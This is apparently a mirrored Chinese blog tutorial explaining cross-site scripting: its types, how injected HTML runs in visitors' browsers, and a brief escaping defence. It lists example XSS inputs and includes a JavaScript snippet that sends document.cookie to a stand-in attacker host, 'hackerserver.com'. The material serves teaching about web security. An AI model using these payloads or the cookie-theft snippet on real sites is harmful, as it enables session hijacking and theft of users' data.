zoukankan      html  css  js  c++  java
  • XSS攻击与防止

    1.XSS又称CSS, cross sitescript, 跨站脚本攻击,是web程序中常见的漏洞

    • XSS属于被动式且用于客户端的攻击方式
    • XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。
    • XSS其实就是Html的注入问题,攻击者的输入没有经过严格的控制进入了数据库,最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码,
      数据流程如下:攻击者的Html输入—>web程序—>进入数据库—>web程序—>用户浏览器。

    2.原理: 攻击者向有XSS漏洞的网站中输入恶意的html代码,当用户浏览该网站时,这段html代码会自行执行,从而达到攻击的目的,例如盗取用户的cookie, 破坏页面结构,重定向到其它网站。

    3: 实施XSS攻击需要具备两个条件

    • 需要向web页面注入恶意代码
    • 这些恶意代码能够被浏览器成功的执行

    4:常见输入的恶意XSS字符

    • XSS 输入通常包含js脚本,如弹出恶意警告框: <script>alert("XSS");</script>
    • XSS 输入也可能是 HTML 代码段,譬如:网页不停地刷新 <meta http-equiv="refresh" content="0;">
    • 嵌入其它网站的链接 <iframe src=http://xxxx width=250 height=250></iframe>

    5.xss攻击的主要目的

    • 想办法获取目标攻击网站的cookie,因为有了cookie相当有了seesion, 有了这些信息就可以在任意能接近互联网的pc登录站点,登录做一些破坏。

    6. 预防措施

    • 防止下发界面现实html标签, 把</>等符号转义

    7.XSS攻击能做些什么

    • 窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码
    1. var i=document.createElement("img");
      document.body.appendChild(i);
      i.src = "http://www.hackerserver.com/?c=" + document.cookie;

    • 读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等。
    • 前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播。
  • 相关阅读:
    js设置、修改、获取、删除 cookie
    mysql排序让空值NULL排在数字后边
    javascript的函数作用域及声明提前
    修改mysql的密码
    解决thinkphp设置session周期无效的问题
    filter_var() 验证邮箱、ip、url的格式 php
    将中文字符串分割为数组 解决str_split中文乱码php
    生成多个不重复的随机数字php
    javascript控制input只允许输入数字
    推荐开发工具系列之--Clover(文件浏览器)
  • 原文地址:https://www.cnblogs.com/W-Wait/p/14157066.html
Copyright © 2011-2022 走看看